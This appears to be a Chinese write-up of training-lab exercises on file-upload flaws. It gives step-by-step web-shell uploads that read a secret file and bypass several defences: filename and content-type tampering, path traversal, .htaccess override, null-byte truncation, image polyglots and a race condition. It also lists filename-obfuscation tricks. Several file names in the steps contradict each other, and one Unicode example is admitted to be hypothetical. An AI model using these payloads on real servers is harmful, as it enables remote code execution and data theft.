一、通过web shell 上传远程代码
1、通过wiener用户登录。
2、 创建1.php文件,内容为:<?php echo file_get_contents('/home/carlos/secret'); ?>
3、上传1.php文件,返回我的账户。
4、选中上传的文件,右键查看属性。找到文件上传的位置。
5、访问2.php文件,服务器将执行脚本并返回服务器执行结果。
总结:前端无防护、后端无防护、服务器具备执行条件。
二、通过内容类型限制绕过上传web shell
1、通过wiener用户登录。
2、创建1.jgp文件,内容为:<?php echo file_get_contents('/home/carlos/secret');
3、 上传文件,通过Burp Suitte 修改文件名,filename=“1.php”,发送。
4、返回我的账户,选中上传的文件。右键查看属性。找到文件上传的位置。
5、访问2.php文件,服务器将执行脚本并返回服务器执行结果。
总结:前端防护,限制上传的文件类型,通过Burp Suitte 修改文件名绕过检测。后端无防护,服务器具备执行条件。
三、通过路径遍历上传web shell
1、通过wiener用户登录。
2、创建1.php文件,内容为:<?php echo file_get_contents('/home/carlos/secret');
3、 上传文件,通过Burp Suitte 抓取发送的1.php包,修改filename=“..%2f1.php”,发送。
4、返回我的账户,选中上传的文件。右键查看属性。找到文件上传的位置。
5、访问..%2f1.php文件,服务器将执行脚本并返回服务器执行结果。
总结:前端无防护,后端无防护,服务器具有一定防护,默认上传目录不具备执行权限,更改路径,使其具备执行权限。
四、通过扩展黑名单绕过上传web shell
1、通过wiener用户登录。
2、创建1.php5文件,内容为:<?php echo file_get_contents('/home/carlos/secret');
3、创建.htaccess文件,内容为:AddType application/x-httpd-php .php5。
4、 上传文件,通过Burp Suitte 抓取发送的.htaccess文件包,修改Content-Type:
text/plain,发送。
5、上传1.php5文件,返回我的账户。
6、选中上传的1.php5文件,右键查看属性。找到文件上传的位置。
7、访问1.php5文件,服务器将执行脚本并返回服务器执行结果。
总结:前端无防护,后端配置不解析php文件,通过覆盖配置使.php5 解析成php运行,成功绕过,服务器具备执行条件。
五、通过混淆文件扩展名上传网页外壳
1、通过wiener用户登录。
2、创建1.php文件,内容为:<?php echo file_get_contents('/home/carlos/secret');
3、 上传文件,通过Burp Suitte 抓取发送的1.php包,修改filename=“1.php%00.jpg”,发送。
4、返回我的账户,选中上传的文件。右键查看属性。找到文件上传的位置。
5、访问1.php文件,服务器将执行脚本并返回服务器执行结果。
总结:前端无防护,后端设置白名单,只能上传图片格式,通过低版本%00截断进行绕过,最终将截断的1.php上传成功。服务器具备执行条件。
六、通过多语言web shell 上传远程执行代码
1、通过wiener用户登录。
2、创建2.php文件内容为:<?php echo file_get_contents('/home/carlos/secret');
找一个正常的图片重命名为1.jpg,通过cmb将两个文件合为一个文件。如图:
copy /b 1.jpg+1.php 2.jpg
3、 上传文件,通过Burp Suitte 抓取发送的2.jpg包,修改filename=“2.php”,发送。
4、返回我的账户,选中上传的文件。右键查看属性。找到文件上传的位置。
5、访问2.php文件,服务器将执行脚本并返回服务器执行结果。
总结:前端无防护,后端验证文件指纹、签名、文件头部,通过真实图片与php代码结合进行绕过。服务器具备执行条件。
七、通过竞争条件上传web shell
1、通过wiener用户登录。
2、创建2.php文件内容为:<?php echo file_get_contents('/home/carlos/secret');
找一个正常的图片重命名为1.jpg,通过cmb将两个文件合为一个文件。如图:
copy /b 1.jpg+1.php 2.jpg
3、 上传2.jpg,通过Burp Suitte 发送到intruder模块,修改filename=“2.php”,payload type设置 null payloads,payload option选择contiune indefinitely,点击start attack。
4、返回我的账户,选中上传的文件。右键查看属性。找到文件上传的位置。
5、访问2.php文件,服务器将执行脚本并返回服务器执行结果。
总结:前端设置检查,通过Burp Suitte进行绕过。后端进行检查,可通过时间竞争机制,在检查不成功删除前及进行利用,服务器具备执行条件。
八、混淆手法
1、提供多个扩展。
根据用于解析文件名的算法,以下文件可能会被解释为 PHP 文件或 JPG 图像: 原文件名:exploit.php
构造文件名:exploit.php.jpg(注意末尾有一个空格和一个点)
2、 添加尾随字符
某些服务器或应用程序在解析文件名时可能会忽略尾随的空格、点等字符。因此,攻击者可以尝试在文件名中添加这些字符来绕过扩展名检查。
原文件名:exploit.php
构造文件名:exploit.php. (注意末尾有一个空格和一个点)。
3、 URL 编码点、正斜杠和反斜杠
如果应用程序在验证文件扩展名时未对 URL 编码进行解码,但稍后在服务器端处理文件时进行了解码,攻击者可以利用这一点上传恶意文件。
原文件名:exploit.php
构造文件名:exploit%2Ephp(%2E 是点的 URL 编码)
4、 添加分号或 URL 编码的空字节字符
一些编程语言(如 PHP、Java)在解析文件名时可能会忽略某些特殊字符(如分号)或空字节字符(如 %00)。然而,底层操作系统或库可能会以不同的方式处理这些字符,导致文件名被截断或解析错误。
原文件名:exploit.asp
构造文件名:
exploit.asp;.jpg(添加分号)
exploit.asp%00.jpg(%00 是空字节字符的 URL 编码)
5、 使用多字节 Unicode 字符
Unicode 字符在转换或规范化过程中可能会产生空字节或特殊字符。如果文件名在解析时使用了不同的字符编码(如从 UTF-8 转换为 ASCII),则可能导致文件名被错误解析。
假设存在某些 Unicode 字符序列,在转换为 ASCII 时会生成空字节和点。
构造文件名可能涉及复杂的 Unicode 字符序列,这些序列在特定条件下会转换为 . 或 \0。
示例字符序列(假设):\u0300\u002E\u0304\u00AE\u0300\u00AE\u002E(这些字符在转换后可能会产生类似效果,但具体字符可能需要根据实际系统和编码进行确定)